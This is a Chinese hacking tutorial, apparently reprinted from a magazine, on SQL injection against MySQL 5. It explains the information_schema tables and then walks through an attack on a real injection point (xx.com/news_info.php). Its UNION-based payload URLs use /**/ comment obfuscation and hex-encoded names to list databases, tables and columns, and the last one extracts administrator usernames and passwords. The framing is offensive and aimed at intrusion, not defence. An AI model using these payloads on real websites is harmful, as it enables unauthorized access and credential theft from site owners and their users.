天天看點

Mysql5注射技巧總結

[email protected]

文章已經發表在《黑客手冊》,轉載請署名版權

Mysql5和之前的版本有很多不同的地方,靈活的運用其特性可以在入侵的時候省掉很多麻煩。我試圖在本文把在《滲透周傑倫官方網站》中沒有寫清楚的部分表達出來,你看明白這個文章後也許你會發現,原來mysql5也可以像mssql一樣注射。

一、原理分析

我們先看看mysql5比之前增加的系統資料庫information_schema的結構,它是用來存儲資料庫系統資訊的

mysql> use information_schema;

Database changed

mysql> show tables;

+---------------------------------------+

| Tables_in_information_schema |

| CHARACTER_SETS |

| COLLATIONS |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS |

| COLUMN_PRIVILEGES |

| KEY_COLUMN_USAGE |

| ROUTINES |

| SCHEMATA |

| SCHEMA_PRIVILEGES |

| STATISTICS |

| TABLES |

| TABLE_CONSTRAINTS |

| TABLE_PRIVILEGES |

| TRIGGERS |

| USER_PRIVILEGES |

| VIEWS |

如果讀者有興趣可以自己裝一個mysql5研究一下這幾個表存儲的資訊,我這裡隻挑注射中可以用到的幾個表。 

| SCHEMATA ――>存儲資料庫名的,

|——>關鍵字段:SCHEMA_NAME,表示資料庫名稱

| TABLES ――>存儲表名的

|——>關鍵字段:TABLE_SCHEMA表示表所屬的資料庫名稱;

TABLE_NAME表示表的名稱

| COLUMNS ――>存儲字段名的

TABLE_NAME表示所屬的表的名稱

          COLUMN_NAME表示字段名

可以看到,我們隻要通過注射點構造查詢語句遍相關字段,就可以得到我們想要的資訊了。

二、實戰測試

到網上找到一個注射點,首先還是像以往一樣猜字段、版本和資料庫使用者,如圖1

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*

Mysql5注射技巧總結

圖一

下面猜資料庫,可以通過不斷遞增limit的第一個參數查詢到所有的資料庫名,如圖2

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*

Mysql5注射技巧總結

圖2

遍裡webbase裡面的表名,找到敏感的表,如圖三(0x77656262617365是webbase的十六進制編碼)

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1

Mysql5注射技巧總結

圖3

tg_adminuser十六進制編碼為0x74675F61646D696E75736572,依次查找該表裡面的字段名,如圖4,圖5

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1

Mysql5注射技巧總結

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1

Mysql5注射技巧總結

圖五

資料庫,表名,字段我們都知道了,查出密碼就很簡單了,如圖六

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse

Mysql5注射技巧總結

圖6

文章就到這裡結束了,懂點sql文法的朋友應該看的比較明白了:)